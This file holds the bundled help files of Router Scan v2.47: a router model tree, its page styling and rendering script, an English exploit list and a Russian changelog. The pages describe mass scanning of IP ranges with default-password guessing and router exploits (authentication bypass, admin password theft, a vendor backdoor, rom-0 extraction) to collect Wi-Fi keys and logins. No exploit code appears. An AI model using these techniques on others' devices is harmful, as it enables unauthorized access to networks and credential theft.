				[0, 1, "TP-LINK TD-W8951ND"],

				[0, 1, "TP-LINK TD-W8961NB"],

				[0, 1, "TP-LINK TD-W8961ND"],

				[0, 0, "TRENDnet TDM-C400"],

				[0, 1, "TRENDnet TEW-435BRM"],

				[0, 1, "TRENDnet TEW-635BRM"],

				[0, 0, "Upvel UR-101AU"],

				[0, 0, "Upvel UR-104AN"],

				[0, 1, "Upvel UR-203AWP"],

				[0, 1, "Upvel UR-214AWG"],

				[0, 1, "Upvel UR-314AWN"],

				[0, 1, "Upvel UR-324AWN"],

				[0, 1, "WTC606"],

				[0, 1, "WTC224"],

				[0, 0, "ZTE ZXDSL 831CII"],

				[0, 0, "ZyXEL P-660R-T1"],

				[0, 0, "ZyXEL P-660R-T1 v3s"],

				[0, 0, "ZyXEL P-660RU-T1"],

				[0, 1, "ÐŸÑ€Ð¾Ð¼Ñ�Ð²Ñ�Ð·ÑŒ M-200 A"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyNOS ADSL 2 (ZyXEL/TrendChip firmware)", [

				[0, 1, "Huawei HG530"],

				[0, 1, "Huawei HG530u"],

				[0, 0, "Huawei MT800u-T"],

				[0, 0, "Huawei SmartAX MT880"],

				[0, 0, "Huawei SmartAX MT882u"],

				[0, 0, "Huawei SmartAX MT883"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyXEL WiMAX CPE", [

				[0, 0, "Greenpacket UH235"],

				[0, 0, "MediaTek MT711x"],

			]],

		]],

	]],

];
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body {

	padding-left: 8px;

	padding-right: 0px;

	padding-top: 6px;

	padding-bottom: 6px;

	font-size: 13px;

	margin: 0;

	cursor: default;

	color: #000000;

	font-family: Tahoma, Geneva, sans-serif;

	background-color: #ffffff

}

a {

	color: #203090;

	cursor: pointer;

	border: 0;

	margin: 0;

	padding: 0;

	text-decoration: none;

}

div {

	padding: 0;

	margin: 0;

}

a:visited {

	color: #5f8498;

	border: 0

}

a:hover {

	color: #65a7cb;

	border: 0

}

a .Current {

	font-weight: bolder;

	background-color: #a6cfe5

}

img {

	BORDER: none;

	MARGIN: 0;

	PADDING: 0 3 3 0;

	cursor: pointer;

	HEIGHT: 16px;

	WIDTH: 16px

}

UL {

	MARGIN: 0;

	PADDING: 0;

	BORDER: none;

	LIST-STYLE-TYPE: none

}

UL.Shown {

	DISPLAY: block

}

UL.Hidden {

	DISPLAY: none

}

UL#ULRoot {

	white-space: nowrap;

}

LI {

	MARGIN: 0;

	BORDER: none;

	PADDING: 0

}

LI UL,UL UL {

	padding: 0 0 0 0;

	margin: 0 0 0 16px

}

h1 {

	margin: 0 0 6px 0

}
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// tree.js

// Copyright (C) Stas'M Corp. 2014



imgLogo = "data:image/png;base64,";

imgFolder = "data:image/png;base64,";

imgPage = "data:image/png;base64,";

imgUnknown = "data:image/gif;base64,";



imgWireless = "data:image/png;base64,";

imgWired = "data:image/png;base64,";

imgTest = "data:image/png;base64,";

imgWork = "data:image/png;base64,";

imgFuture = "data:image/png;base64,";



function expand(n)

{

	var ul = document.getElementById("ul"+n);

	var img = document.getElementById("img"+n);

	if (img != null && ul.className != null)

	{

		var str = img.src;

		if (ul.className == "Hidden") {

			ul.className = "Shown";

		} else {

			ul.className = "Hidden";

		}

	}

}

function getNextId()

{

	return cnt++;

}

function ReadNode(n, r)

{

	var str = "";

	var tab = "";

	for (var i = 0; i <= r; i++) tab += "\t";



	for (var i = 0; i < n.length; i++)

	{

		if (typeof(n[i]) == "object")

		{

			var x = getNextId();

			switch (n[i][0] & 1)

			{

				case 0:

				str += tab + "<li><img align=\"absmiddle\" src=\"";

				if (typeof n[i][1] == "number")

				{

					if ((n[i][1] & 1) == 0)

					{

						str += imgWired;

					} else

					{

						str += imgWireless;

					}

				}

				if (typeof n[i][1] == "string")

				{

					str += n[i][1];

				}

				str += "\" id=\"img"+x+"\">";

				if (typeof n[i][3] == "string")

				{

					str += "<a href=\""+n[i][3]+"\" target=\"mainFrame\">"+n[i][2]+"</a>";

				} else {

					str += n[i][2];

				}

				if ((n[i][0] & 2) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgTest+"\">";

				if ((n[i][0] & 4) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgWork+"\">";

				if ((n[i][0] & 8) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgFuture+"\">";

				str += "</li>\n";

				break;

				case 1:

				var show = "Hidden";

				if (n[i][1] == 1) show = "Shown";

				str += tab + "<li><a onclick=\"expand('"+x+"')\"><img align=\"absmiddle\" src=\""+n[i][2]+"\" id=\"img"+x+"\">"+n[i][3];

				if ((n[i][0] & 2) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgTest+"\">";

				if ((n[i][0] & 4) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgWork+"\">";

				if ((n[i][0] & 8) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgFuture+"\">";

				str += "</a>\n";

				str += tab + "<ul class=\""+show+"\" id=\"ul"+x+"\">\n";

				str += ReadNode(n[i][4], r + 1);

				str += tab + "</ul>\n";

				break;

			}

		}

	}

	return str;

}

function BuildTree(tNode)

{

	cnt = 0;

	return ReadNode(tNode, 0);

}

function SwitchNodes(b)

{

	var uls = document.getElementsByTagName('ul');

	for (var i = 0; i < uls.length; i++)

	{

		if (uls[i].id.indexOf("ul") == 0)

		{

			var n = uls[i].id.substr(2);

			var ul = document.getElementById("ul"+n);

			var img = document.getElementById("img"+n);

			if (img != null && ul.className != null)

			{

				var str = img.src;

				if (b) {

					ul.className = "Shown";

				} else {

					ul.className = "Hidden";

				}

			}	

		}

	}

}

function FilterNode(n, m)

{

	m = m.toLowerCase();

	var i = 0;

	var a = new Array();

	for (var i = 0; i < n.length; i++)

	{

		if (typeof(n[i]) == "object")

		{

			switch (n[i][0] & 1)

			{

				case 0:

				if (n[i][2].toLowerCase().indexOf(m) >= 0) a.push(n[i]);

				break;

				case 1:

				x = FilterNode(n[i][4], m);

				if ((x.length > 0) || (n[i][3].toLowerCase().indexOf(m) >= 0)) a.push([n[i][0], 1, n[i][2], n[i][3], x]);

				break;

			}

		}

	}

	return a;

}

function FindRouter(Model)

{

	if (Model != '')

	{

		var newTree = FilterNode(Tree, Model);

		document.getElementById('ULRoot').innerHTML = BuildTree(newTree);

	} else {

		document.getElementById('ULRoot').innerHTML = BuildTree(Tree);

	}

}
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		Sorry, there is no changelog page on your language.




		You can browse russian version.
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		- ASUS (some of them)


		1. Get administrator password


		2. Get LAN configuration without authentication


		3. Get wireless settings without authentication




		- Alpha Networks (D-Link firmware)


		1. Get administrator username and password




		- D-Link DAP-1353, DIR-300, DIR-320


		1. Authentication bypass


		2. Get administrator password




		- D-Link DI-524


		1. Get administrator password with user privileges




		- D-Link DIR-100 (firmware 4.02 and 4.03)


		1. Get settings without authentication


		2. Get administrator password




		- D-Link DIR-615


		1. Get administrator password with user privileges




		- D-Link DIR-628, D-Link DIR-655


		1. MD5+salt authentication


		2. Captcha bypass




		- D-Link DIR-825


		1. Get administrator password with user privileges




		- SerComm Beeline Smart Box S1000


		1. Get device settings and administrator password




		- Tenda 11N


		1. Get administrator password




		- Ubicom firmware (tested on TRENDnet TEW-631BRP)


		1. Get administrator password with user privileges




		- Vertex Wireless VW200


		1. Get settings without authentication




		- ZTE F660, ZXV10 W300, ZXV10 H108L, and other


		1. Authentication bypass


		2. Get administrator username and password




		- ZTE ZXDSL 531BII


		1. Get administrator password




		- ZTE ZXDSL 831AII


		1. Get administrator password




		- ZTE ZXDSL 831CII


		1. Get administrator password




		- ZyWALL / ZyNOS


		1. Get administrator password without authentication, or with user privileges (rom-0 configuration file)
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		Sorry, there is no F.A.Q. page on your language.




		You can browse russian version.
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	Router Scan is able to find and identify a variety of devices from large number of known routers and that the most important thing is to get from them useful information, in particular the characteristics of the wireless network: a method of protecting the access point (encryption), access point name (SSID) and access point key (passphrase).


Also it receives information about the WAN connection (useful when scanning a local network) and show the model of router.


Getting information occurs in two possible ways:


1. The program will try to guess a pair of username/password to the router from a list of standard passwords, thereby get access.


2. Or the vulnerabilities (bugs) will be used against the router model, allowing to get the necessary information and/or bypass the authorization process.




	




RouterScan2.47/help/en/menu.js

Tree = [

	[1, 1, imgLogo, "Router Scan", [

		[0, imgPage, "About", "main.html"],

		[0, imgPage, "Changelog", "changelog.html"],

		[1, 1, imgFolder, "Information", [

			[0, imgPage, "F.A.Q.", "faq.html"],

			[0, imgPage, "Supported router models", "supported.html"],

			[0, imgPage, "Exploit list", "exploits.html"],

		]],

	]],

];
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						Description:




						- wireless router




						- wired router (ethernet only)




						- just testing (may be bugged)




						- under construction (working partially without bugs)




						- will be added in the future




		




		


		Search router: 


		Expand all Collapse all
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		Router Scan v2.47 Update 1




		> Visit project home page
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		Список версий:




		• Версия 2.47 Update 1


		• Версия 2.47


		• Версия 2.46


		• Версия 2.45 Update 1


		• Версия 2.45


		• Версия 2.44


		• Версия 2.43


		• Версия 2.42


		• Версия 2.41


		• Версия 2.40


		• Версия 2.39


		• Версия 2.38


		• Версия 2.35


		• Версия 2.34


		• Версия 2.31


		• Версия 2.30


		• Версия 2.24


		• Версия 2.23


		• Версия 2.21


		• Версия 2.2






		Что нового:




		Версия 2.47 Update 1


		1. Добавлены модели роутеров:


		- Ubiquiti AirOS:


		PicoStation2


		Rocket M2


		2. Обновлён эксплойт ASUS WPS, добавлены новые сигнатуры


		3. Обновлены пары Basic/Digest


		4. Немного ускорена загрузка диапазонов


		5. Выложены исходные коды эксплойтов, которые в дальнейшем будут переписаны в скрипты


		6. Обновлён раздел F.A.Q.




		Версия 2.47


		1. Добавлены модели роутеров:


		- Gigabyte:


		GN-BR02G


		- NETGEAR:


		DGN2000


		XWN5001


		- PacketFront:


		DRG600 Wi-Fi


		- TP-LINK:


		TL-WA501G


		TL-WA830RE


		TL-WA901N


		TL-WR543G


		- Thomson Router:


		Firmware STB6.07.03


		Firmware STCE.01.02 (Technicolor)


		- ZyXEL/ZyWALL Series:


		P660HTN EE


		- ZyXEL/Home Router:


		NBG-416N N-lite


		NBG-418N N


		- Other/Ralink:


		EnGenius ESR1221N


		- Other/Realtek ADSL:


		Acorp Sprinter@ADSL LAN110 (проводной)


		- Other/WebCM:


		D-Link DSL-320T (проводной)


		2. Обновлены парсеры: TP-LINK, Gigabyte, NETGEAR WNR, NETGEAR DGN, Realtek ADSL


		3. Исправлен баг в нескольких функциях работы с HTTP


		4. Исправлен баг в синхронизации


		5. Для улучшения производительности синхронизация была убрана из функции поиска текста


		6. Время жизни потока увеличено до 5 минут


		7. Раздел F.A.Q. в документации улучшен, вопросы распределены на несколько разделов


		8. Внесены значительные улучшения в механизм синхронизации


		9. Пустые строки в редакторе диапазонов теперь игнорируются


		10. Добавлена возможность размещения комментариев в списке диапазонов (для этого поставьте символ решётки # в начало строки), также это позволяет отключать ненужные диапазоны, не удаляя их


		11. Добавлена настройка двойного клика мышью по таблице (открыть в браузере или редактировать комментарий) - по умолчанию выключена


		12. Добавлена возможность отключения автоматической авторизации в браузере (включена по умолчанию для устройств, использующих Basic/Digest аутентификацию)


		13. Функции геолокации отключены (до тех пор, пока не будет найден новый безлимитный способ получения координат)


		14. Добавлена кнопка Force stop для принудительной остановки всех потоков (появляется после нажатия Stop scan)


		15. Добавлена возможность принудительной остановки выбранного потока (пункт меню Force reset доступен после выполнения Reset)


		16. Добавлена возможность не учитывать проводные роутеры в таблице Good Results


		17. Добавлена возможность отключения таймаута для потоков (по умолчанию выключена, при использовании пользователю придётся самостоятельно останавливать зависшие потоки, используя функции Force reset и Force stop)


		18. Вкладка Interface в настройках перемещена на первое место и переименована в General


		19. Добавлена возможность поиска всех совпадений текста в выбранной таблице


		20. Добавлена поддержка китайской локализации в парсер Gigabyte


		21. Добавлена поддержка французской локализации в парсер NETGEAR WNR


		22. Добавлена поддержка итальянской локализации в парсер NETGEAR DGN




		Версия 2.46


		1. Добавлены модели роутеров:


		- ASUS:


		RX3041 (D-Link firmware, проводной)


		U2C 300M Black (rebranded)


		WL-330N3G


		- Cisco:


		Cisco SPA (Universal, в разработке)


		SPA112 (проводной VoIP коммутатор)


		WAP2000


		- D-Link:


		DCS-2132L (беспроводная веб камера)


		DCS-6817 (проводная веб камера)


		DCS-910 (проводная веб камера)


		DCS-932L (беспроводная веб камера)


		DCS-933L (беспроводная веб камера)


		DCS-942L (беспроводная веб камера)


		DIR-330


		DIR-857


		- DrayTek:


		Vigor2920Vn (в разработке)


		- EDIMAX:


		BR6428N


		BR6428NS


		- GPON ONT:


		Dasan Networks H640GW (в разработке)


		Dasan Networks H640RW (в разработке)


		- Huawei:


		EchoLife HG231f


		- NETGEAR:


		RP614v4 (проводной)


		WGR614v6


		- Realtek:


		ALFA Network 802.11g


		Canyon Wireless Router


		FoxGate WFR-301


		Netcore NW605+


		QTECH QBR-1041WU


		Well WRC7000N


		- Tenda:


		3G 11N


		- Thomson:


		Firmware STB6.07.04


		- TP-LINK:


		MSI RG60SE (rebranded)


		TL-WA5110G


		- TRENDnet:


		TV-IP301 (проводная веб камера)


		- Upvel:


		Totolink N150RT (rebranded)


		UR-305B (проводной)


		- Vertex Wireless:


		VW200


		- Web Service DVR:


		Dahua IPC-HFW2100 (проводная веб камера)


		- Other:


		Wireless EVDO Smart 3G Router


		2. Обновлены парсеры: D-Link v2, EDIMAX 5, Upvel Universal, TRENDnet/Realtek 2, D-Link DIR-100, Wive-NG, Upvel BN, NETGEAR WGR614v6/WGR614v7/WGT624, ASUS RT-G32/RT-N13/WL-500gP V2, Tenda, NETGEAR WNR612v2/WNR1000v2/WNDR3800/WNR2200, Huawei BM, TRENDnet TEW-432BRP/TEW-452BRP, Ubicom, TP-LINK


		3. Обновлён модуль HNAP


		4. Исправлен баг в Use credentials (для роутеров с Basic/Digest с первого запуска могло не срабатывать)


		5. Добавлена эксплуатация уязвимости для TRENDnet TEW-631BRP (прошивка Ubicom) - получение пароля администратора при входе с правами пользователя


		6. Добавлена поддержка чешского языка для прошивки Realtek


		7. Добавлена эксплуатация уязвимости для Vertex Wireless VW200 (получение настроек без авторизации)


		8. Изменены некоторые названия параметров в ini-файле (для большей точности)


		9. Добавлена возможность указания страницы для определения (например /admin/ для некоторых устройств Cisco SPA)


		10. Улучшена утилизация потоков (зависшие потоки теперь завершаются корректно)


		11. Добавлена настройка времени жизни потока (40 секунд по умолчанию; если Router Scan не успевает выполнить обработку роутера, установите большее значение)


		12. Устранён баг в одном из детекторов Micro DSL (мог уйти в бесконечный цикл переопределения модели)


		13. Добавлено два столбца - Radio Off (модуль Wi-Fi отключён) и Hidden (трансляция SSID отключена / скрытая сеть), в поле ESSID теперь будет выводиться только имя сети


		14. Переписана значительная часть исполняемого кода, в соответствии с планом реализации стандартных API функций




		Версия 2.45 Update 1


		1. Добавлены модели роутеров:


		- ASUS:


		RX3041 Rev.B (проводной)


		- TP-LINK:


		TD-VG3631


		- TRENDnet:


		TEW-432BRP/C


		2. Обновлены парсеры: ASUS HG, ASUS E/LX, EDIMAX, TRENDnet


		3. Исправлен баг, из-за которого после сканирования было невозможно внести изменения в диапазоны и порты


		4. Добавлена возможность указания интернет браузера для открытия страниц (раньше использовался только системный по умолчанию)


		5. Добавлена возможность отключения генерации таблицы Good Results (для медленных ПК)


		6. Добавлены новые пары логин/пароль в словари




		Версия 2.45


		1. Добавлены модели роутеров:


		- Acorp:


		WLAN Broadband Router


		- ASUS:


		DSL-N55U Black


		- Belkin:


		F7D3402 v1


		- D-Link:


		DCS-2230 (беспроводная веб камера)


		DI-707P (проводной)


		DIR-826L


		- DrayTek:


		Vigor (Universal, в разработке)


		Vigor2110 (проводной)


		VigorFly 200


		- EDIMAX:


		Firmware 1.02 (BR6228GN)


		Firmware CLI v2.0 p50 (проводной)


		Intellinet (rebranded)


		- Gemtek WiMAX CPE (в разработке):


		Airspan HiperMAX (проводной)


		Cambium CMM4 (проводной)


		WIXS-155 (проводной)


		WIXS-177 (проводной)


		- GlobespanVirata:


		Viking GS8100 (проводной)


		- Greenpacket WiMAX CPE:


		WIXFMM-129


		- Huawei:


		EchoLife BM622


		EchoLife BM625


		EchoLife BM626


		EchoLife BM631a


		EchoLife BM632


		EchoLife BM632w


		EchoLife BM655


		- NETGEAR:


		DG834G


		DGN1000


		DGN2200


		DGN2200v3


		WG602v4


		WNDR3600


		- Seowon Intech:


		SWC-3200 (проводной)


		SWC-7100 (проводной)


		SWC-9000


		SWC-9100


		SWC-9200


		- TP-LINK:


		Canyon CNP-WF514N1A (rebranded)


		SMC SMCWBR14S-N5 (rebranded)


		TL-R460 (проводной)


		TL-R470T+ (проводной)


		TL-R600VPN (проводной)


		TL-R860 (проводной)


		TL-WA5210G


		TL-WA801N


		TL-WDR3500


		TL-WDR3600


		TL-WR1043N


		TL-WR2543ND


		TL-WR702N


		TL-WR840N


		TL-WR841HP


		TL-WR843ND


		TL-WR940N


		- ZTE WiMAX CPE:


		IX256


		- ZyXEL WiMAX CPE (в разработке):


		Greenpacket UH235 (проводной)


		MediaTek MT711x (проводной)


		- Атрон:


		RFT620


		2. Обновлены парсеры: D-Link v2, ZyNOS ADSL, TRENDnet TEW-432BRP/TEW-452BRP, D-Link DI-824VUP/DI-824VUP+/DI-804HV/DI-808HV/DI-604/DI-704P, Boa ADSL, ZyXEL NDMSv1, D-Link DIR-615/DIR-655/DIR-825, TP-LINK Universal, Ubiquiti AirOS, Tenda 11N, Wive-NG, AnyData AWR-500A, SerComm Beeline Smart Box S1000, ASUS RX3041 V2, EDIMAX 5, D-Link DCS-2130/DCS-2230, TRENDnet Wireless Router


		3. В парсер ZyNOS ADSL добавлена поддержка локализации польского языка


		4. Обновлены сигнатуры Hex


		5. Добавлена функция копирования строки URL (Copy device URL в контекстном меню, сочетание клавиш Alt+C)


		6. Добавлена возможность экспорта данных в текстовый список формата user:pass@ip:port


		7. Добавлена возможность экспорта данных в формате JavaScript Object Notation (JSON)


		8. Исправлен баг в детекторе-определителе перенаправлений


		9. Добавлено сворачивание в tray-значок на панели задач (при включённом Silent Mode)


		10. Добавлена возможность дополнительной проверки авторизации для роутеров, использующих Basic Authentication (может быть полезна для роутеров ASUS; конфигурация в файле config.ini, раздел WWW-Authenticate, параметр DualCheck - по умолчанию отключён, установить значение = 1 для включения; примечение: включение данной возможности может немного замедлить процесс подбора пары логин/пароль)


		11. Исправлен баг в модуле HNAP (мог стереть ранее полученный парсером пароль)


		12. Обновлён модуль HNAP (добавлена возможность получения WPS PIN кода)


		13. Добавлена уязвимость для роутеров Tenda 11N (получение имени и пароля администратора)


		14. Добавлена возможность устанавливать автоматическую прокрутку по отдельности для каждой вкладки


		15. Добавлена возможность выбора таблицы для автоматического сохранения (раньше сохраняло активную таблицу)


		16. Добавлен вывод заголовков таблицы при экспорте в XML


		17. Теперь если в таблице нет данных, то функция экспорта будет недоступна


		18. При включённой функции автоматического сохранения пустые таблицы сохраняться не будут


		19. Исправлен баг с падением скорости после длительного сканирования


		20. Добавлено 3 режима сканирования: 1) нормальный 2) быстрый 3) очень быстрый


		21. Добавлен диалог с настройками (большинство настроек из ini файла теперь можно изменить там)


		22. Добавлена возможность использовать прокси сервер (HTTP или HTTPS)


		23. Добавлена возможность изменять строку User-Agent


		24. Добавлен новый столбец для возможности комментирования


		25. Эксплойты для SQLite и Hudson теперь записывают ссылку в столбец комментариев


		26. Добавлено автоматическое сохранение настроек программы (раз в 20 секунд)


		27. Добавлена возможность редактирования диапазонов в виде текстового списка


		28. Добавлена возможность выбора действия по окончанию сканирования (закрыть программу, выполнить выход пользователя, выключение ПК, режим сна, и гибернация)


		29. Сканирование роутеров отведено в отдельный модуль, который можно включать и выключать (подбор авторизации входит в состав модуля)


		30. Добавлены новые пары логин/пароль в словари


		31. Положено начало составлению документации, на первом этапе в неё были перенесены все файлы readme и т.п.


		32. Список используемых уязвимостей убран со страницы проекта и бережно перенесён в документацию


		33. Добавлено сочетание клавиш Ctrl+D для копирования информации выделенного роутера




		Версия 2.44


		1. Добавлены модели роутеров:


		- AirTies:


		AIR-4240


		AIR-4340


		AIR-4450


		- ASUS:


		AX-112W


		AX-145 (проводной)


		RT-AC68U


		RT-AC68U Black


		RT-N12 Rev.B1 Black


		RT-N12VP Black


		RT-N14U Grey


		RT-N15U HG


		- D-Link:


		DAP-1353


		DCS-930 (беспроводная веб камера)


		DSL-2740NRU


		DSL-2750U


		DSL-320B (проводной)


		- Gigabyte:


		GN-BR404W


		- NETGEAR:


		WNDAP350


		WNR1000 v3


		WNR2200


		- Netis:


		WF2419


		- Tenda:


		Wireless-N Router


		- TP-LINK:


		TL-WR741N


		- Thomson:


		Firmware ST5D.10.02


		Firmware ST5D.10.05


		Firmware STB6.07.03.T4


		- Upvel:


		UR-309BN


		- Other / Alpha Networks (D-Link firmware):


		D-Link DI-524UP


		D-Link DI-604UP (проводной)


		D-Link DI-604+ (проводной)


		D-Link DI-624S


		D-Link T-Mobile TM-G5240


		Planex BRL-04CW (проводной)


		Planex BRL-04CW-U (проводной)


		Planex BRL-04R (проводной)


		Planex BRL-04UR (проводной)


		- Other / Realtek ADSL firmware:


		Acorp Sprinter@ADSL LAN110 v2 (проводной)


		Acorp Sprinter@ADSL W422G v4


		Intercross 1P (проводной)


		- Other / Ubiquiti AirOS:


		NanoStation Loco M2


		NanoStation M5


		- Other / Boa IP Camera:


		ABUS Security-Center TVIP10550 (беспроводная веб камера)


		Airlive OD-300CAM (проводная веб камера)


		Beward N13103 (беспроводная веб камера)


		Beward N6601 (проводная веб камера)


		Intellinet NFC30 (проводная веб камера)


		Intellinet NFC30-IR (проводная веб камера)


		Intellinet NFC31 (проводная веб камера)


		TP-LINK TL-SC2020 (проводная веб камера)


		TP-LINK TL-SC3130 (проводная веб камера)


		TP-LINK TL-SC3130G (беспроводная веб камера)


		TP-LINK TL-SC3171 (проводная веб камера)


		TP-LINK TL-SC3171G (беспроводная веб камера)


		Zavio B5110 (проводная веб камера)


		Zavio F7110 (проводная веб камера)


		- Other / ONT GPON Home Gateway:


		Ericsson SBM4F00ARA (на стадии тестирования)


		2. Добавлена возможность экспорта в текстовый файл txt (разделитель - табуляция)


		3. Обновлены парсеры: AirTies, ASUS E/LX, ZyXEL NDMSv1, ASUS HG, TRENDnet TEW-432BRP/TEW-452BRP, DD-WRT, D-Link DI-524, DI-604, WebCM Firmware, ZyNOS ADSL, D-Link DCS-2121/DCS-2102, ZyNOS ADSL 2, Intercross, D-Link DIR-300/DIR-320/DAP-1353, TP-LINK Universal, Micro DSL, NETGEAR WNR3500L/WNDR4000/WGR614 v9/WNR1000 v3, D-Link DSL-2740R/DSL-320B, Boa ADSL, ASUS Black


		4. Обновлены сигнатуры Hex


		5. Добавлена эксплуатация нескольких уязвимостей для роутеров ASUS


		6. Столбец LAN разделён на два новых - LAN IP Address и LAN Subnet Mask


		7. Столбец WAN разделён на четыре новых - WAN IP Address, WAN Subnet Mask, WAN Gateway и Domain Name Servers


		8. Поиск точки доступа на карте теперь выполняется в отдельном потоке


		9. Добавлены новые столбцы - Latitude и Longitude (если точка доступа найдена на карте, координаты записываются в них)


		10. Добавлены пункты меню для просмотра точки на карте (Google Maps и Яндекс.Карты)


		11. Изменён способ автоматической прокрутки таблицы при появлении новой записи (указатель остаётся на выбранной записи)


		12. Автоматическая прокрутка добавлена во вкладку удачных результатов


		13. Добавлены поля в строку состояния - найденные (Total found) и успешно просканированные (Good found)


		14. Добавлена эксплуатация уязвимости-закладки Alpha Networks/Joel Backdoor, позволяет получить имя и пароль администратора (уязвимы D-Link DIR-100, D-Link DI-524, D-Link DI-524UP, D-Link DI-604UP, D-Link DI-604+, D-Link DI-624S, D-Link T-Mobile TM-G5240, Planex BRL-04UR, Planex BRL-04CW, Planex BRL-04CW-U, Planex BRL-04R, Broadband Router ?)


		15. Добавлена эксплуатация уязвимости в роутерах ZTE (при успешном получении root доступа к терминалу роутера позволяет получить имя и пароль администратора, уязвимы ZTE F660, ZTE ZXV10 W300, ZTE ZXV10 H108L)


		16. Добавлена эксплуатация уязвимости в роутере D-Link DAP-1353 (получение имени и пароля администратора, обход авторизации - проверено на прошивке 2.01)


		17. Исправлен баг в HTTP клиенте при обработке множественных перенаправлений


		18. Улучшен индикатор активных потоков, теперь он показывает актуальные данные даже при остановке сканирования на паузу


		19. Движок получения очереди IP-адресов переписан заново с нуля с улучшениями


		20. Добавлена возможность ввода маски IP-адресов в формате CIDR (IP/маска)


		21. Добавлена возможность указания отдельных октетов IP-адреса (диапазоны и перечисления, как в Nmap)


		22. Обновлён файл с диапазонами по умолчанию - добавлены новые примеры указания диапазонов


		23. Добавлен новый параметр в INI-файле конфигурации - SilentMode (раздел PortScan), если равен 1, то при запуске автоматически запустит сканирование, а по окончанию сохранит отчёт в свою директорию и сам закроется. Примечание: в этом режиме запуска программа не скрывает своё окно


		24. Добавлен новый столбец - Time (ms), показывает время отклика при соединении с хостом (в миллисекундах)


		25. Добавлены новые пары логин/пароль в словари, чтобы было больше хороших результатов при сканировании


		26. Улучшен файл со списком поддерживаемых роутеров, внесены уточнения для некоторых прошивок


		27. Добавлена уязвимость роутера D-Link DIR-615 (получение пароля администратора при входе с правами пользователя, проверено на ревизии E4 прошивке 5.10)




		Версия 2.43


		1. Добавлены модели роутеров:


		- AnyGate:


		XM-3300N


		- ASUS:


		RX3041 V2 (проводной)


		RX3042H (проводной)


		- Cisco:


		Linksys EA4500


		Aironet AIR-AP1231G-E-K9 (в разработке)


		Aironet AIR-LAP1231G-E-K9 (в разработке)


		Linksys WRT54GC


		- D-Link:


		DCS-2121 (беспроводная веб камера)


		DIR-300BEE


		DSL-2640B


		DSR-150 (проводной)


		DSR-150N


		DSR-250 (проводной)


		DSR-250N


		DSR-500 (проводной)


		DSR-500N


		DSR-1000 (проводной)


		DSR-1000N


		DSL-2740R


		DSL-2740U


		- DrayTek:


		Vigor2910VG (в разработке)


		- LevelOne:


		WBR-6002


		- Motorola Mobility:


		VAP2400


		- Netis:


		WF2412


		- NETGEAR:


		WNR3500L v1 (Entware HG)


		- Pozitron:


		diSIM


		- SerComm:


		Beeline Smart Box S1000


		- TP-LINK:


		TL-MR3220


		TL-R480T+ (проводной)


		TL-WA701ND


		- TRENDnet:


		TV-IP551WI (беспроводная веб камера)


		- Upvel:


		UR-337N4G


		- Other:


		G.SHDSL Router Firmware


		MikroTik RouterOS (только определение)


		2. Обновлены парсеры: Linksys Universal, TRENDnet TEW-650AP, ASUS Black, Micro DSL, ZyXEL ZyWALL, NETGEAR WNR612 v2/WNR1000 v2/WNDR3800, TP-LINK Universal


		3. Исправлен баг в Cookie Manager (пробелы в конце и начале пути теперь обрезаются, раньше из-за этого некоторые cookies не отправлялись)


		4. В движок HTTP добавлено несколько оптимизаций


		5. Добавлена поддержка Deflate и GZip


		6. Добавлен парсер D-Link DIR-100 для прошивки v2.02_tp


		7. Добавлена возможность автоматического сохранения во время сканирования по промежутку времени (устанавливается в файле конфигурации, раздел Output, параметр Interval, в секундах, по умолчанию отключено = 0, работает только с флагом AutoSave = 1)


		8. Добавлен эксплойт для Beeline Smart Box (получение настроек устройства и пароля администратора)


		9. Улучшен файл со списком поддерживаемых роутеров, добавлен быстрый поиск




		Версия 2.42


		1. Добавлены модели роутеров:


		- AirTies:


		AIR-5343


		AIR-5340


		RT-204v3


		RT-206v4


		RT-212


		AIR-5440


		AIR-5341


		AIR-5450v2


		AIR-5453


		AIR-5443


		RT-206


		- ASUS:


		WL-330gE HG


		- C-motech:


		CNU-550pro (проводной)


		CNU-680pro (проводной)


		- Conel:


		ER75i (проводной)


		- D-Link:


		DCS-2103 (проводная веб камера)


		DCS-2130 (беспроводная веб камера)


		- Huawei:


		SmartAX MT880 (проводной)


		EchoLife HG521


		- NETGEAR:


		WGT624


		WNR3500L v2 (Entware HG)


		WNDR3800


		- TP-LINK:


		TD-8840T (проводной)


		TL-WDR4300


		TL-MR3420


		TD-W8968


		TD-854W


		- TRENDnet:


		TEW-673GRU


		TEW-692GR


		- ZTE:


		ZXV10 W300


		- Other:


		WebCM Firmware


		2. Добавлено определение ложных срабатываний эксплойтов


		3. Обновлены парсеры: Upvel Universal, TP-LINK Universal, ASUS HG, D-Link DIR-320 Entware HG, ZyNOS ADSL, ZyXEL ZyWALL, Micro DSL, ZTE Router


		4. Обновлён эксплойт ZyNOS rom-0 (добавлена поддержка формата со значениями в Little Endian)


		5. В парсер ZyNOS ADSL добавлена поддержка локализации для турецкого языка


		6. В парсер ZyXEL ZyWALL добавлена поддержка локализации для турецкого языка


		7. В парсер Micro DSL добавлена поддержка локализации для турецкого языка




		Версия 2.41


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N53 (Blue)


		- D-Link:


		DI-804HV (проводной)


		DI-808HV (проводной)


		DI-704P (проводной)


		DI-604 (проводной)


		- Tenda:


		ADSL2/2+


		- TP-LINK:


		MR3420


		WR720N


		WR740N


		WR941ND


		WR1042ND


		- TRENDnet:


		TEW-691GR


		TEW-731BR


		TW100-S4W1CA (проводной)


		- Upvel:


		UR-316N3G


		UR-326N4G


		- Other:


		Ubicom Firmware


		ZyNOS ADSL 2


		2. Обновлены парсеры: ZyNOS ADSL, NDMSv2, Micro DSL, ZyWALL Series, NDMSv1, TP-LINK WR841N, Huawei/EchoLife Home Gateway, D-Link DIR-400, ZTE Router, D-Link v2, D-Link DIR-615/DIR-655 2.00/DIR-825, ASUS Blue (Universal), Upvel Universal


		3. Исправлен баг при чтении настроек RouterAuth


		4. Добавлена эксплуатация уязвимости ZyNOS (получение файла rom-0 и извлечение пароля из него)


		5. Добавлена базовая поддержка HTTPS через OpenSSL


		6. Добавлена функция авторизации для ZTE Router


		7. Добавлена поддержка UTF-8 SSID в парсер D-Link v2


